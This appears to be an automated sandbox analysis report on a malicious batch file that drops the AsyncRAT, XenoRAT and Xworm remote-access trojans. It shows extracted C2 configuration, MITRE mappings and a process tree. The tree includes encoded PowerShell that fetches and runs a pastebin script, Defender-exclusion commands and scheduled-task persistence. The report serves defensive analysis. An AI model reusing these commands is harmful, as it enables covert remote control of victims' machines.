asyncrat | c76ca39fdae22faae9ae3799475307e34d351d02e048e3805a6ce5d6848db559

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-12-2024 12:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

LHVWN_virus_src.bat
Size

680B
MD5

28a24f08a62dc5c8af6be5e921d4c5ad
SHA1

97f70c14a8e2ba4da9d8f5d65961d7d998ebb637
SHA256

c76ca39fdae22faae9ae3799475307e34d351d02e048e3805a6ce5d6848db559
SHA512

e9ec36ad33f78ac2871bb1a36a746ab74fd502b64fd01d36434192b2bc5244fc56d44ca5989af7de15bdf2b46a9a35990f759867ace6253ec9d1393e4cb9a577

Score

10^/10

asyncrat xenorat xworm comppkgsrv discovery execution persistence rat trojan

Malware Config

Extracted

Family

xenorat

82.13.154.169

Mutex

09f0agdksogvisd0gdsjpogijdsihg89t2374ygh23b5023gyd79srtdfgbalkfnmvsakfnsajdio32y8956tyhtijdesaiosahf85295u3497348huasnfjasfa86a7s6g70duhgfdaguh7dsa6gdayghdughuiagfad6ga760ghad8ga6gad75asfgagnhalkjs90436r7tgafhafyasuft7as5asf083y5

Attributes

delay
5000
install_path
appdata
port
4444
startup_name
svchost

Extracted

Family

asyncrat

Botnet

CompPkgSrv

82.13.154.169:4444

Attributes

delay
3
install
true
install_file
CompPkgSrv.exe
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

82.13.154.169:4444

Attributes

Install_directory
%AppData%
install_file
CompPkgSup.exe

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect XenoRat Payload 3 IoCs

resource	yara_rule
behavioral2/files/0x000600000001e767-61.dat	family_xenorat
behavioral2/memory/2088-68-0x00000000005E0000-0x00000000005F2000-memory.dmp	family_xenorat
behavioral2/memory/2472-167-0x0000000006940000-0x000000000694A000-memory.dmp	family_xenorat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b9b-98.dat	family_xworm
behavioral2/memory/4476-105-0x00000000009F0000-0x0000000000A0A000-memory.dmp	family_xworm

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat
Xenorat family
xenorat
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000d000000023b97-74.dat	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	3040	powershell.exe
16	4816	powershell.exe
19	4816	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3040	powershell.exe
2516	powershell.exe
4816	powershell.exe
4312	powershell.exe
3428	powershell.exe
404	powershell.exe
1820	powershell.exe
4452	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	CompPkgSrv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	CompPkgSup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	CompPkgSrv.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CompPkgSup.lnk	CompPkgSup.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CompPkgSup.lnk	CompPkgSup.exe

Executes dropped EXE 7 IoCs

pid	Process
2088	svchost.exe
4672	CompPkgSrv.exe
2472	svchost.exe
4476	CompPkgSup.exe
3476	CompPkgSrv.exe
2000	CompPkgSup.exe
4596	CompPkgSup.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CompPkgSup = "C:\\Users\\Admin\\AppData\\Roaming\\CompPkgSup.exe"	CompPkgSup.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
8	pastebin.com
9	pastebin.com
18	raw.githubusercontent.com
19	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
3492	timeout.exe
2212	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1752	schtasks.exe
4744	schtasks.exe
3700	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4452	powershell.exe
4452	powershell.exe
3040	powershell.exe
3040	powershell.exe
2516	powershell.exe
2516	powershell.exe
4816	powershell.exe
4816	powershell.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4672	CompPkgSrv.exe
4312	powershell.exe
4312	powershell.exe
3428	powershell.exe
3428	powershell.exe
404	powershell.exe
404	powershell.exe
1820	powershell.exe
1820	powershell.exe
4476	CompPkgSup.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe
2472	svchost.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	2516	powershell.exe
Token: SeDebugPrivilege	4816	powershell.exe
Token: SeDebugPrivilege	4476	CompPkgSup.exe
Token: SeDebugPrivilege	4672	CompPkgSrv.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	404	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	4476	CompPkgSup.exe
Token: SeDebugPrivilege	3476	CompPkgSrv.exe
Token: SeDebugPrivilege	2472	svchost.exe
Token: SeDebugPrivilege	2000	CompPkgSup.exe
Token: SeDebugPrivilege	4596	CompPkgSup.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4476	CompPkgSup.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 4368 wrote to memory of 4452	4368	cmd.exe	85
PID 4368 wrote to memory of 4452	4368	cmd.exe	85
PID 4452 wrote to memory of 2180	4452	powershell.exe	86
PID 4452 wrote to memory of 2180	4452	powershell.exe	86
PID 2180 wrote to memory of 3040	2180	cmd.exe	88
PID 2180 wrote to memory of 3040	2180	cmd.exe	88
PID 2180 wrote to memory of 2516	2180	cmd.exe	89
PID 2180 wrote to memory of 2516	2180	cmd.exe	89
PID 2516 wrote to memory of 4816	2516	powershell.exe	90
PID 2516 wrote to memory of 4816	2516	powershell.exe	90
PID 4816 wrote to memory of 2088	4816	powershell.exe	92
PID 4816 wrote to memory of 2088	4816	powershell.exe	92
PID 4816 wrote to memory of 2088	4816	powershell.exe	92
PID 4816 wrote to memory of 4672	4816	powershell.exe	93
PID 4816 wrote to memory of 4672	4816	powershell.exe	93
PID 2088 wrote to memory of 2472	2088	svchost.exe	94
PID 2088 wrote to memory of 2472	2088	svchost.exe	94
PID 2088 wrote to memory of 2472	2088	svchost.exe	94
PID 4816 wrote to memory of 4476	4816	powershell.exe	95
PID 4816 wrote to memory of 4476	4816	powershell.exe	95
PID 4672 wrote to memory of 1808	4672	CompPkgSrv.exe	98
PID 4672 wrote to memory of 1808	4672	CompPkgSrv.exe	98
PID 4672 wrote to memory of 1456	4672	CompPkgSrv.exe	100
PID 4672 wrote to memory of 1456	4672	CompPkgSrv.exe	100
PID 1456 wrote to memory of 2212	1456	cmd.exe	102
PID 1456 wrote to memory of 2212	1456	cmd.exe	102
PID 1808 wrote to memory of 1752	1808	cmd.exe	103
PID 1808 wrote to memory of 1752	1808	cmd.exe	103
PID 2472 wrote to memory of 4744	2472	svchost.exe	104
PID 2472 wrote to memory of 4744	2472	svchost.exe	104
PID 2472 wrote to memory of 4744	2472	svchost.exe	104
PID 4476 wrote to memory of 4312	4476	CompPkgSup.exe	107
PID 4476 wrote to memory of 4312	4476	CompPkgSup.exe	107
PID 4476 wrote to memory of 3428	4476	CompPkgSup.exe	109
PID 4476 wrote to memory of 3428	4476	CompPkgSup.exe	109
PID 1456 wrote to memory of 3476	1456	cmd.exe	111
PID 1456 wrote to memory of 3476	1456	cmd.exe	111
PID 4476 wrote to memory of 404	4476	CompPkgSup.exe	112
PID 4476 wrote to memory of 404	4476	CompPkgSup.exe	112
PID 4476 wrote to memory of 1820	4476	CompPkgSup.exe	114
PID 4476 wrote to memory of 1820	4476	CompPkgSup.exe	114
PID 4476 wrote to memory of 3700	4476	CompPkgSup.exe	121
PID 4476 wrote to memory of 3700	4476	CompPkgSup.exe	121
PID 2472 wrote to memory of 1932	2472	svchost.exe	133
PID 2472 wrote to memory of 1932	2472	svchost.exe	133
PID 2472 wrote to memory of 1932	2472	svchost.exe	133
PID 2472 wrote to memory of 712	2472	svchost.exe	135
PID 2472 wrote to memory of 712	2472	svchost.exe	135
PID 2472 wrote to memory of 712	2472	svchost.exe	135
PID 2472 wrote to memory of 4856	2472	svchost.exe	137
PID 2472 wrote to memory of 4856	2472	svchost.exe	137
PID 2472 wrote to memory of 4856	2472	svchost.exe	137
PID 4856 wrote to memory of 228	4856	cmd.exe	139
PID 4856 wrote to memory of 228	4856	cmd.exe	139
PID 4856 wrote to memory of 228	4856	cmd.exe	139
PID 3476 wrote to memory of 1716	3476	CompPkgSrv.exe	142
PID 3476 wrote to memory of 1716	3476	CompPkgSrv.exe	142
PID 3476 wrote to memory of 1424	3476	CompPkgSrv.exe	144
PID 3476 wrote to memory of 1424	3476	CompPkgSrv.exe	144
PID 1424 wrote to memory of 3492	1424	cmd.exe	146
PID 1424 wrote to memory of 3492	1424	cmd.exe	146
PID 1716 wrote to memory of 2828	1716	cmd.exe	147
PID 1716 wrote to memory of 2828	1716	cmd.exe	147

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\LHVWN_virus_src.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\LHVWN_virus_src.bat' -ArgumentList "am_admin"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\LHVWN_virus_src.bat" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoLogo -enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AQQBlAHYAaAB1AEgAdgBaACkALgBjAG8AbgB0AGUAbgB0ACAAPgAgACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQBcAHMAeQBzAGIAbwBvAHQALgBwAHMAMQA=
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoLogo -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAGUAeABpAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAEYAaQBsAGUAIAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXABzAHkAcwBiAG8AbwB0AC4AcABzADEADQAKAA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2516
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\sysboot.ps1
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4816
      - C:\Users\Admin\AppData\Local\svchost.exe
        
        "C:\Users\Admin\AppData\Local\svchost.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2088
        
        C:\Users\Admin\AppData\Roaming\XenoManager\svchost.exe
        
        "C:\Users\Admin\AppData\Roaming\XenoManager\svchost.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2472
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /Create /TN "svchost" /XML "C:\Users\Admin\AppData\Local\Temp\tmpE6A7.tmp" /F
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4744
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /query /v /fo csv
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1932
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /delete /tn "\svchost" /f
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:712
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\XenoManager\svchost.exe"
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4856
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:228
      - C:\Users\Admin\AppData\Local\CompPkgSrv.exe
        
        "C:\Users\Admin\AppData\Local\CompPkgSrv.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4672
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "CompPkgSrv" /tr '"C:\Users\Admin\AppData\Roaming\CompPkgSrv.exe"' & exit
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1808
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "CompPkgSrv" /tr '"C:\Users\Admin\AppData\Roaming\CompPkgSrv.exe"'
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1752
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE484.tmp.bat""
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1456
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        8⤵
        Delays execution with timeout.exe
        
        PID:2212
        
        C:\Users\Admin\AppData\Roaming\CompPkgSrv.exe
        
        "C:\Users\Admin\AppData\Roaming\CompPkgSrv.exe"
        8⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "CompPkgSrv"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1716
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "CompPkgSrv"
        10⤵
        
        PID:2828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB8A8.tmp.bat""
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1424
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        10⤵
        Delays execution with timeout.exe
        
        PID:3492
      - C:\Users\Admin\AppData\Local\CompPkgSup.exe
        
        "C:\Users\Admin\AppData\Local\CompPkgSup.exe"
        6⤵
        Checks computer location settings
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\CompPkgSup.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'CompPkgSup.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\CompPkgSup.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'CompPkgSup.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1820
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "CompPkgSup" /tr "C:\Users\Admin\AppData\Roaming\CompPkgSup.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3700

C:\Users\Admin\AppData\Roaming\CompPkgSup.exe
C:\Users\Admin\AppData\Roaming\CompPkgSup.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Users\Admin\AppData\Roaming\CompPkgSup.exe
C:\Users\Admin\AppData\Roaming\CompPkgSup.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\CompPkgSrv.exe

Filesize
63KB

MD5
a2cc522bd3b0806748349c386d613b00

SHA1
36f14471d1e307eec0af563f5c884acbffe65284

SHA256
a68a6d746ffbaf79d5e43b140217f521d68efa0191f9630258c57faf9591b70d

SHA512
c5f108ecc7ef45b465f07f3441ad00682a9ef9caa25783af1acf00777e087e483071e323b311581ed94c3cbbf740b776a13f29374ef5c42f795e36a13c36c959

Download Submit
C:\Users\Admin\AppData\Local\CompPkgSup.exe

Filesize
80KB

MD5
82ae01d348fce7ddf9f19ca5cb545ae1

SHA1
5b563cec5b49c7ec4082bf19aeccce9fc190bd2a

SHA256
4a322c3526936f921b75cadc7c2a827b8eeca29f6a929d9077751a3777ef378d

SHA512
6a8ba6397c38661df7eda751a0340df08645da88e3b4a563d9ba9e3849b7332677ca4acf3c41235883d75b737c5b3a91c871c95dc87808f753fa85717338b1ea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\CompPkgSrv.exe.log

Filesize
871B

MD5
d58f949aad7df2e7b55248bfdfc6e1b8

SHA1
6713cad396b5808b66ede2dd9b169e00d5e5018f

SHA256
5e1611e4d915fd9759825811fa4463f09172889f85889a2942be1561948fab8a

SHA512
bdddb838108c4f3f0a7737703cbde935fe26aaea97459bb099c4c773c0789997283d7f20ac7ea4ac2aedef23515afc0b251b5b461aa12d3b7a60846b87b26e38

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\CompPkgSup.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svchost.exe.log

Filesize
226B

MD5
916851e072fbabc4796d8916c5131092

SHA1
d48a602229a690c512d5fdaf4c8d77547a88e7a2

SHA256
7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

SHA512
07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8e4e462e64126355db69af06ba8f774e

SHA1
279d1d08ad530bf8a249366c5d927e1533f77f1a

SHA256
c263a08e8768e9038dc462db8782f66ce94230ce8a372d7320e8eb7f862a3f76

SHA512
92bd1d207d3f9d139e949e47f70d69ef1be8d40c11b03fd2bebb22bfeb598b6065921a1f3ec931e8a4d4dfdb8974a8405f17a1b3f54e4fc549fd8ea1dd5fb353

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ba169f4dcbbf147fe78ef0061a95e83b

SHA1
92a571a6eef49fff666e0f62a3545bcd1cdcda67

SHA256
5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1

SHA512
8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0256bd284691ed0fc502ef3c8a7e58dc

SHA1
dcdf69dc8ca8bf068f65d20ef1563bbe283e2413

SHA256
e2fb83098e114084f51ed7187334f861ce670051046c39f338928296ca9a49cf

SHA512
c5b29c1e0a15ddb68b0579848066774fa7cdc6f35087bbbf47c05a5c0dcc1eb3e61b2ddadfbded8c1ed9820e637596a9f08a97db8fb18000d168e6b159060c42

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
94af78d295fb3dfe76397aa481c33845

SHA1
314f4100021ba93a64dd62fcb895d4d50b93af12

SHA256
328b9f28515a4c00fcf1f8432a0a965fcf5866b0bd7abbafd5a17c3e10802f61

SHA512
3f95a9ad4a4e8b923872fad42df64ba085f1ae95baedfb9dca857a6eb56ea9dd37437535d5efd6e778ac2ebdd26e963c2fc03969309d8bc2546f8eb2c949797a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dbfmzfrf.gl3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpB8A8.tmp.bat

Filesize
159B

MD5
0cfc79eed7546fb5583048a36f0ad811

SHA1
c739dd3e95b483bd90cf70aba96b1e7ba9a6db08

SHA256
1ff012cee193094f2a8e80f3246322e4adb763c0622fef8be704bf00d0aa9110

SHA512
2b61aa8ada28ada407f571a90af0ddef321b6150c1c03a81519712fe7d27d74f67fe0e9b1f63531d4474dfa7653730d85ddaf6e5467e30c39a1bb747969adbd5

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpE484.tmp.bat

Filesize
154B

MD5
